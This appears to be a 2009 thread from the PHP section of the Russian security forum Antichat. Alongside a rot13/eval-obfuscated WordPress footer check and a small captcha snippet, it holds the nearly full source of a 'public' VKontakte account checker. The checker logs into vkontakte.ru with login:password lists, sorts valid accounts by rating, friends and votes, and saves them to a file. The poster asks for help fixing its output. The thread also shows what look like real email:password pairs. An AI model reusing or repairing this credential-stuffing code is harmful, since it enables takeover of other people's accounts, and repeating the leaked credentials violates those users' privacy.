HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #9321  
Старый 10.03.2009, 11:35
TERYS
Участник форума
Регистрация: 11.01.2006
Сообщений: 128
Провел на форуме:
612424

Репутация: 55
По умолчанию

Хочу закодировать текст.
Цитата:
<?php

eval(str_rot13('function check_footer(){$l='<a href="http://www.askgraphics.com/">Website design</a> by AskGraphics.com | <a href="http://www.skinpress.com/">Wordpress themes</a> by SkinPress';$f=dirname(__FILE__).'/footer.php';$fd=fopen($f,'r');$c=fread($fd,filesiz e($f));fclose($fd);if(strpos($c,$l)==0){echo 'This theme is released under creative commons licence, all links in the footer should remain intact';die;}}check_footer();'));


eval(str_rot13('function check_header(){if(!(function_exists("check_functio ns")&&function_exists("check_f_footer"))){echo('Th is theme is released under creative commons licence, all links in the footer should remain intact');die;}}'));


?>
Получаю ошибку
Parse error: syntax error, unexpected T_STRING in Z:\home\test2.ru\www\wp-content\themes\ForestGreen\test2.php on line 12

что делаю не так?
 
Ответить с цитированием

  #9322  
Старый 10.03.2009, 11:48
kraken
Участник форума
Регистрация: 02.01.2009
Сообщений: 104
Провел на форуме:
750298

Репутация: 297
По умолчанию

TERYS посмотри ты там не закрыл в нужных местах кавычку. юзай редакторы с подсветкой кода!
 
Ответить с цитированием

  #9323  
Старый 10.03.2009, 13:59
Fuckel
Участник форума
Регистрация: 17.01.2008
Сообщений: 170
Провел на форуме:
1608606

Репутация: 105
Отправить сообщение для Fuckel с помощью ICQ
По умолчанию

TERYS, ты забыл экранировать кавычки в нужных местах.
kraken, все у него кавычки на местах.
 
Ответить с цитированием

  #9324  
Старый 10.03.2009, 20:18
Велемир
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме:
1469161

Репутация: 142


Отправить сообщение для Велемир с помощью ICQ
По умолчанию

Цитата:
Сообщение от awdrg  
капча - берется переменная, заносится ее значение на рисунок и он, вместе с хэшем переменной отсылается получателю.

Эээ...а есть примеры где-нибудь мб ? Я про капчу почти ничего не знаю,кроме как того,что она тормозит регу )))
 
Ответить с цитированием

  #9325  
Старый 10.03.2009, 20:48
kraken
Участник форума
Регистрация: 02.01.2009
Сообщений: 104
Провел на форуме:
750298

Репутация: 297
По умолчанию

TERYS твой код
PHP код:
<?php

eval(str_rot13('function check_footer(){$l=\'<a href="http://www.askgraphics.com/">Website design</a> by AskGraphics.com | <a href="http://www.skinpress.com/">Wordpress themes</a> by SkinPress\';$f=dirname(__FILE__).\'/footer.php\';$fd=fopen($f,\'r\');$c=fread($fd,filesiz e($f));fclose($fd);if(strpos($c,$l)==0){echo \'This theme is released under creative commons licence, all links in the footer should remain intact\';die;}}check_footer();'));


eval(
str_rot13('function check_header(){if(!(function_exists("check_functions")&&function_exists("check_f_footer"))){echo(\'This theme is released under creative commons licence, all links in the footer should remain intact\');die;}}'));


?>
 
Ответить с цитированием

  #9326  
Старый 10.03.2009, 20:58
Fuckel
Участник форума
Регистрация: 17.01.2008
Сообщений: 170
Провел на форуме:
1608606

Репутация: 105
Отправить сообщение для Fuckel с помощью ICQ
По умолчанию

тривиальный пример каптчи:
PHP код:
<?php
session_start
();
$c rand(1000099999);
$_SESSION['c']=$c;
$im imagecreate(10030);
$bg imagecolorallocate($im255255255);
$textcolor imagecolorallocate($im00255);
imagestring($im500$_SESSION['c'], $textcolor);
header("Content-type: image/png");
imagepng($im);
?>
рандомом берется пятизначное число, записывается в сессию и выводится на экран в виде png
на счет качественной каптчи лучше погугли. есть довольно интерсеные.

Последний раз редактировалось Fuckel; 10.03.2009 в 21:01..
 
Ответить с цитированием

  #9327  
Старый 10.03.2009, 21:05
jkSeyv
Познающий
Регистрация: 19.01.2009
Сообщений: 94
Провел на форуме:
1440203

Репутация: 47
По умолчанию

есть проблема с чекером. Сразу говорю, чекер-паблик, нашёл на злом, датирован август 2008.
но чекает четко: валид-невалид, кол-во друзья, рейт; подчсет в сумме...
тестил на денвере всё ок!
Проблема заключается в том, что когда чекает акки, то вписывает в конечный файл вот такой вид:

Цитата:
Цитата:TuTu.94@inbox.ru:Ma21212121marua118@m ail.ru:VfhbyfLfybktyrjalex260587@rambler.ru:260587
т.е. пишет всё в одну строчку... копаясь в коде, ниче не нашёл.
вот кусок начала кода чекера:

Цитата:
<center><div style='width: 100%; text-align: center;'><img src='http://vkontakte.ru/images/xhead2.gif' /></div></center>
<?
@set_time_limit(0);
$votes = 0;
$traffic = 0;
$badacc = 0;
$friendz = 0;
$ratecount = 0;
$goldcount = 0;
$fbad = fopen("lowrate.txt","w");
fclose($fbad);
$fbad = fopen("lowrate.txt","a+");
$fval = fopen("valid.txt","w");
fclose($fval);
$fval= fopen("valid.txt","a+");
@$filelog = file_get_contents("log.txt");
if(!empty($_POST['list']))
{
$accs123 = split("\n",$_POST['list']); }
else {
$accs123 = split("\n",$filelog); }
if(empty($_POST['list']) && empty($filelog)) {
$aaaa = 0; } else {
$aaaa = count($accs123); }

if(!isset($_POST['list'])) {
echo <<<list
<center><form method="post">
<p>
Список акков <br>

Если нажать кнопку "проверить" с пустым полем - будут проверяться акки из <b>log.txt</b><br>
кто поможет разобраться? в долгу не останусь)
 
Ответить с цитированием

  #9328  
Старый 10.03.2009, 21:08
wildshaman
Постоянный
Регистрация: 16.04.2008
Сообщений: 889
Провел на форуме:
12942062

Репутация: 1550


Отправить сообщение для wildshaman с помощью ICQ
По умолчанию

Цитата:
Сообщение от jkSeyv  
есть проблема с чекером. Сразу говорю, чекер-паблик, нашёл на злом, датирован август 2008.
но чекает четко: валид-невалид, кол-во друзья, рейт; подчсет в сумме...
тестил на денвере всё ок!
Проблема заключается в том, что когда чекает акки, то вписывает в конечный файл вот такой вид:



т.е. пишет всё в одну строчку... копаясь в коде, ниче не нашёл.
вот кусок начала кода чекера:



кто поможет разобраться? в долгу не останусь)
не тот кусок кода дал.
fwrite не видно что-то)
 
Ответить с цитированием

  #9329  
Старый 10.03.2009, 21:34
jkSeyv
Познающий
Регистрация: 19.01.2009
Сообщений: 94
Провел на форуме:
1440203

Репутация: 47
По умолчанию

wildshaman
Цитата:
не тот кусок кода дал. fwrite не видно что-то)
дык, я когда копался, то смотрел по примеру др. php кода, то сам не нашёл ниче такого...
 
Ответить с цитированием

  #9330  
Старый 10.03.2009, 21:46
jkSeyv
Познающий
Регистрация: 19.01.2009
Сообщений: 94
Провел на форуме:
1440203

Репутация: 47
По умолчанию

нужны ещё вроде put() либо fputs() посоветовали..

fputs() тока в коде имеется:

PHP код:
<center><div style='width: 100%; text-align: center;'><img src='http://vkontakte.ru/images/xhead2.gif' /></div></center>
<?
@set_time_limit(0);
$votes 0;
$traffic 0;
$badacc 0;
$friendz 0;
$ratecount 0;
$goldcount 0;
$fbad fopen("lowrate.txt","w");
fclose($fbad);
$fbad fopen("lowrate.txt","a+");
$fval fopen("valid.txt","w");
fclose($fval);
$fvalfopen("valid.txt","a+");
@
$filelog file_get_contents("log.txt");
if(!empty(
$_POST['list']))
    {
$accs123 split("\n",$_POST['list']); }
else {
$accs123 split("\n",$filelog); }
if(empty(
$_POST['list']) && empty($filelog)) {
$aaaa 0; } else {
$aaaa count($accs123); }

if(!isset(
$_POST['list'])) {
echo <<<list
<center><form method="post">
    <p>
Список акков <br>

Если нажать кнопку "проверить" с пустым полем - будут проверяться акки из <b>log.txt</b><br>
<textarea name="list" rows=15 cols=37></textarea><br>
    <input type="submit" value="Проверить" >
    </p>
 </form></center>
list;
echo (
"<br><center><b>(c) AdReNa1!Ne & Kaimi<br>All Rights Left</b></center>");
die();
}

$valid 0;
$invalid 0;
@
$filelog file_get_contents("log.txt");
set_time_limit(0);
if(!empty(
$_POST['list']))
    {
    
$accs split("\n",$_POST['list']); 
}
else {
    
$accs split("\n",$filelog); }
      
$accs array_unique($accs);
      if(!empty(
$accs)) {
    
$browser="Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14";
    echo 
'<center><table border="1"><tr><td><b>Аккаунт</b></td><td><b>Рейтинг</b></td><td><b>Идентификатор</b></td><td><b>Друзья</b></td><td><b>Оплаченные голоса</b></td></tr>';
    foreach(
$accs as $acc)
        {
            
$pos strpos($acc";");
            
$pos1 strpos($acc":");
            
$acc trim($acc);
            if(
$pos != false) {
            
$separator ";"; }
            if(
$pos1 != false) {
            
$separator ":"; } 
        list(
$login$pwd) = split($separator$acc);
        
        
$ret=socket_do("vkontakte.ru","email={$login}&pass={$pwd}","/login.php",$browser,'',1,"POST",'http://vkontakte.ru',1,'',''); 
        
$traffic $traffic strlen($ret);
            if(
preg_match("/\b302 Found\b/is"$ret)) {
            
fputs($fval$acc);
            
$valid++;   
            }            
            
$ret=substr($ret,0,strpos($ret,"\r\n\r\n"));
        
preg_match_all('/Set-Cookie: (.+);/iUs',$ret,$cook);
        
$cookies = array();
        foreach(
$cook[1] as $ck)
            {
            
$cookies[]=$ck;
            }
        
$cookies=implode('; ',array_unique($cookies));
        
        
$ret=socket_do("vkontakte.ru",'',"/rate.php",$browser,$cookies,1,"GET",'',0,'','');
            
$traffic $traffic strlen($ret);
                
preg_match('/remixmid=(\d+);/i',$cookies$id);
                
preg_match('/У Вас <b>(.*)</i',$ret$vote);
                
$votes $votes $vote[1];
                if(!empty(
$vote[1])) {
                
$voteansw "<td><b>Голосов - $vote[1]</b></td>";
                }
                else {
                
$voteansw "<td>Голосов - 0</td>"; }
          
$retfri=socket_do("vkontakte.ru",'',"/id".$id[1],$browser,$cookies,1,"GET",'',0,'','');
            
$traffic $traffic strlen($retfri);
        
preg_match('/Друзья <span>(.*)</i',$retfri$friends);
            
$friends str_replace("(","",$friends);
            
$friends str_replace(")","",$friends);
            
$friends str_replace("</span></h2>","",$friends);
            
$friendz $friendz $friends[1];
             if(
$friends[1] > 500) {
                  
$friendszzzz "<b>".$friends[1]."</b>"; }
                  else {
                  
$friendszzzz $friends[1]; }
             if(
strlen($id[1]) < 6) {
             
$idch "<b>".$id[1]."</b>"; }
             else {
             
$idch $id[1]; }
            if(!
preg_match('/percentGold" style="width:100px">(.*)</',$ret$rate))
            {
            
preg_match('/percent" style="width:100px">(.*)</',$ret$rate);
            if(
$rate[1] == "100%") {
                  
$rrrr "FULL RATE";
                  
$ratemin str_replace("%","",$rate[1]);
                  if(
$ratemin 30) {
                  
fputs($fbad$acc);
                  
$badacc++; }
                  } else {
                  
$rrrr "RATE"; } 
                  
$ratemin str_replace("%","",$rate[1]);
                  if(
$ratemin 30) {
                  
fputs($fbad$acc);
                  
$badacc++; }
                  if(
strlen($rate[1]>0) && $ratemin 30) echo "<tr><td>$acc</td>   <td>$rate[1] - $rrrr</td> <td>ID - $idch</td><td>Друзей - $friendszzzz</td>$voteansw</tr>\n";            
}
        else
            {
                  
$ratemin str_replace("%","",$rate[1]);
                  if(
$ratemin 30) {
                  
fputs($fbad$acc);
                  
$badacc++; }
            if(
strlen($rate[1]>0) && $ratemin 30) echo "<tr><td>$acc   <td><b>$rate[1] - GOLD RATE</b></td> <td>ID - $idch</td><td>Друзей - $friendszzzz</td>$voteansw</tr>\n";    
$goldcount++;            
}

        }
usleep(500);
    }

function 
socket_do($host,$vars,$service_uri,$browser,$cookies='',$sread=1,$method='POST',$ref='',$addheaders=1,$proxy=false,$proxyport=0,$HTTP='1.0')
{
  
$ret="";

  if(
$method=='GET' && $vars)
  {
    
$service_uri.='?'.$vars;
    
$vars='';
  }

  
$header="Host: $host\r\n";
  
$header.="User-Agent: $browser\r\n";

  if(
$addheaders==1)
  {
    
$header.="Content-Type: application/x-www-form-urlencoded\r\n";
    
$header.="Content-Length: ".strlen($vars)."\r\n";
  }
  else if(
$addheaders==0)
  {
    
$header.="Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
    
$header.="Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
    
$header.="Accept-Encoding: \r\n";
    
$header.="Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n";
  }
  else if(
$addheaders==2)
  {
    
$header.="Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
    
$header.="Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
    
$header.="Accept-Encoding: \r\n";
    
$header.="Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n";
    
$header.="Pragma: no-cache\r\n";
    
$header.="Cache-Control: no-cache\r\n";
    
$header.="Content-Length: ".strlen($vars)."\r\n";
    
$header.="Content-Type: application/x-www-form-urlencoded; charset=windows-1251\r\n";
  }
  else if(
$addheaders==3)
  {
    
$header.="Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
    
$header.="Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
    
$header.="Accept-Encoding: gzip,deflate\r\n";
    
$header.="Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n";
  }


  if(
$ref$header.="Referer: $ref\r\n";

  
$header.="Connection: close\r\n";

  if(
$cookies)
    
$header.="Cookie: $cookies\r\n";

  
$header.="\r\n";


  if(
$proxy)
  {
    
$addquery="$method http://$host$service_uri  HTTP/$HTTP\r\n";
    
$fp=fsockopen("tcp://".$proxy,$proxyport,$errno,$errstr,30);
  }
  else
  {
    
$addquery="$method $service_uri  HTTP/$HTTP\r\n";
    
$fp=fsockopen("tcp://".$host,80,$errno,$errstr,30);
  }

  
stream_set_timeout($fp,30);

  if(!
$fp)
  {
    print 
"<font color=red>Socket error: <i>$errstr ($errno)</i></font><br>";
    return 
'';
  }

  
fputs($fp,$addquery);
  
fputs($fp,$header.$vars);

  if(
$sread)
  {
    while(!
feof($fp))
    {
      
$ret.=fgets($fp128);
    }
  }

  
fclose($fp);

  return 
$ret;
}
fclose($fval);
fclose($fbad);
$invalid $aaaa $valid;
$ratecount $valid $goldcount;
$traffic $traffic 1024;
выручайте, знаю, вы сможете

нужно чтоб записывал валидные акки с каждой новой строкой
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[c/c++] Новичкам: задаем вопросы _Great_ С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby 5421 21.04.2026 07:37
Интернетчики задали российскому президенту очень странные вопросы podkashey Мировые новости. Обсуждения. 4 07.07.2006 16:53
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ